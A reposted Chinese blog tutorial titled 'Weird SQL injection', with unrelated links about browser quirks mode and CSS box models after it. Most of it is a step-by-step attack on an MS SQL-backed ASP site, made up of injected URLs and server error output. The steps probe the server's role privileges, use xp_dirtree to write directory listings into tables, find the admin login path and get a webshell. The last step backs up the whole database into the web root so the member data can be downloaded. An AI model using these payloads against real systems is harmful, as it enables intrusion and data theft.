怪异的SQL注入

转载 2004年06月30日 16:25:00
怪异的SQL注入
[ 作者:佚名    转贴自:本站原创    点击数:110    文章录入:angel

SQL注入以独特、新奇、变异的语句迎来了技术又一大突破,当然要针对奇、特这两方面作文章,要达到一出奇招,必达核心!那才是SQL注入技术的根本所在。长期以来,MS SQL以它强大的存储进程给我们带来了极大的方便,而如今注入技术主要依靠IIS出错与MS SQL系统提示信息来判断,那利用SELECT构造特殊语句,使系统出错来得到我们要的更深入的信息,如爆库、爆表等,能不能取得详细信息呢?答案是能,但必出奇招!下面我们一步步来拆解奇招!
首先打开MS SQL查询分析器,输入:
xp_dirtree适用权限PUBLIC
语句:exec master.dbo.xp_dirtree 'c:/' 

返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。想到了什么?别急,我们继续!
语句:create table dirs(paths varchar(100), id int)
作用:建表的语句,大家都熟悉吧?但这里建的表起到关键的作用!也就是和上面xp_dirtree相关连,字段相等、类型相同,为我们下一步操作作下铺垫。再来,谜底就要揭晓!
语句:insert dirs exec master.dbo.xp_dirtree 'c:/'
作用:大家觉得奇怪吧?INSERT语句这样是不是有问题呢?NO!原理是只要我们建表与存储进程返回的字段相定义相等就能够执行!与常规INSERT TABLE(COLOUMN) VALUES(VALUES)差别就是在此,VALUES值我们无法放置存储进程,利用简写:insert dirs exec master.dbo.xp_dirtree 'c:/',而达到写表的效果——既然可以写表,那我们就可利用未公开存储进程来一步步达到我们想要的信息!
上面的东西大家明白了吗?不明白没关系,过招在于实战,实践胜于理论,那我们就来过过招!实际看下!以下用一个网站作为基点作测试,注意:以下测试的权限非SA权限!
语句:http://www.xxxxx.com/down/list.asp?id=1'
 返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e14'
字符串 '' 之前有未闭合的引号。
/down/list.asp,行21
  测试权限结构:
语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_MEMBER('db_owner'));--
通过实际测试,只有DB_OWNER语句正常返回信息,可以确定连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者),跳过爆库爆表步骤,以前黑防讲得很清楚,大家可以翻看臭要饭的《跨库查询你想怎么玩》,现在我们得到管理员的表和管理表资料,进一步得到权限有两种方法:意思爆出所有字段,取管理后台用户密码,难点在于找管理后台路径,是个体力活;另一个是通过BACKUP直接上传WEBSHELL,难点在于寻找WEB目录。
手工猜解管理后台路径的成功几率很低,要用XP_DIRTREE来得到我们想要的信息,下面的方法或许要简单一点!第一次公布出来,或许很多朋友在用,不过绝对非常好!我们把路径写到表里去!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回:正常的信息!说明建表成功!继续!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:/'--
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
最后用同样的方法测试得到网页目录放在E:/WEB下,得到网页目录后两种选择,一是进一步获取网站管理后台,另一个是通过BACKUP直接获取WEBSHELL。监于BAKCUP获取WEBSHELL的成功率并不是太高,我们先来猜猜它的管理后台吧!这里要使用XP_DIRTREE,但是由于XP_DIRTREE是取得一个硬盘分区的目录树,让我们容易混乱,所以就来一层层得到下级目录吧:
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:/web'--
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)--
经过反覆的爆字段,最后爆到一个xxxadminlogin目录,一看就知道这个目录可能就是我们梦寐以求的管理后台目录!压抑住自己的兴奋!我们继续:
语句:http://http://www.xxxxx.com/down/xxxadminlogin/
显示出登陆入口!GOOD!哈哈,幸运啊!有用户、密码,有登陆URL,还等什么?进去瞧瞧……
XP_DIRTREE存储进程返回的只是目录树,我们无法得到文件树。针对登陆入口在网站根目录下的情况,根本就无从下手,而且相对来说,得到的目录信息要根据人工去猜测判断,所以要通过XP_DIRTREE取得管理后台的登陆入口有着很强判断性,也是非常考个人思维的地方。
再来说说写入ASP木马通过BACKUP得到WEBSHELL或是直接备份当前拥有权限的数据库的办法。写入木马使用臭要饭现成的GETWEBSHELL工具,很容易就得到一个WEBSHELL,为了进一步取得会员资料,直接手工备份整个库到网页目录也是个好的办法!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:/web/down.bak';--
  去下载吧!亲爱的朋友们!嘿嘿。
本文介绍是一种变异写表方法,没有多少技术含量,只是给大家提供一种构造语句的思路。本文针对网站连接权限不是数据库服务器角色组的成员,能为注入所利用的内置扩展存储进程并不多,扩展的存储进程涉及权限比较高的用户才能访问,所以说一个安全的网站与管理者对权限结构的合理分配是密不可分的,你注意到了吗?

ie浏览器强制开启怪异模式(Quirks Mode)的解决方法

用户没有强制开启怪异模式可以用以下方法解决 1、Doctype 检测 并设置对于一个 HTML 页面,< !DOCTYP >声明位于其中最前面的位置,处于< html >标签之前,这个< !DOCTY...
  • dong123dddd
  • dong123dddd
  • 2016年04月07日 18:38
  • 3071

CSS-标准盒模型 & 怪异盒模型

CSS-标准盒模型 & 怪异盒模型
  • Dong_PT
  • Dong_PT
  • 2016年04月29日 14:01
  • 15191

浏览器标准模式和怪异模式之间的区别是什么?

由于历史的原因,不同浏览器对页面的渲染是不同的,甚至同一浏览器的不同版本也是不同的。在W3C标准出台之前,不同的浏览器在页面的渲染上没有同一的规范,产生了差异,即Quirks mode(怪异模式或兼容...
  • xujie_0311
  • xujie_0311
  • 2014年12月20日 18:32
  • 8077

出现怪异问题的数据库实例

  • 2009年07月08日 14:50
  • 1.28MB
  • 下载

怪异指针的识别法,多种多样的嵌套指针识别法

  • 2010年01月21日 08:13
  • 4KB
  • 下载

浏览器的标准模式与怪异模式

由于历史的原因,各个浏览器在对页面的渲染上存在差异,甚至同一浏览器在不同版本中,对页面的渲染也不同。在W3C标准出台以前,浏览器在对页面的渲染上没有统一规范,产生了差异(Quirks mode或者称为...
  • weixin_41123761
  • weixin_41123761
  • 2017年12月27日 22:04
  • 35

H5基础——(5)怪异盒模型、弹性盒模型、倒影及阴影

一、怪异盒模型 怪异盒模型 .reddiv { width: 200px; height: 200px; background-color: r...
  • Erosvan
  • Erosvan
  • 2016年09月24日 09:27
  • 1907

css3中的弹性盒与怪异盒

首先讲一下什么是弹性盒: 弹性盒布局模型(Flexible Box Layout)是 CSS3 规范中提出的一种新的布局方式,弹性盒布局模型的目的是提供一种更加有效的方式来对一个容器中的条目进行排列...
  • JustForZR
  • JustForZR
  • 2016年12月16日 10:39
  • 392

iOS 读写plist文件(Date的存储有些怪异,原因不详)

plist(Property List)是属性列表文件,它是一种用来存储串行化后的对象的文件。属性列表文件的扩展名为.plist ,因此通常被称为 plist文件。文件是xml格式的。Plist文件通...
  • chy555chy
  • chy555chy
  • 2016年06月14日 11:43
  • 2232

doctype声明、浏览器的标准、怪异等模式

转载地址:http://www.fantxi.com/blog/archives/browser-mode/ 群里看到一个面试题,doctype 标准(严格)模式(Standards M...
  • Dracotianlong
  • Dracotianlong
  • 2014年04月25日 11:59
  • 764
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:怪异的SQL注入
举报原因:
原因补充:

(最多只允许输入30个字)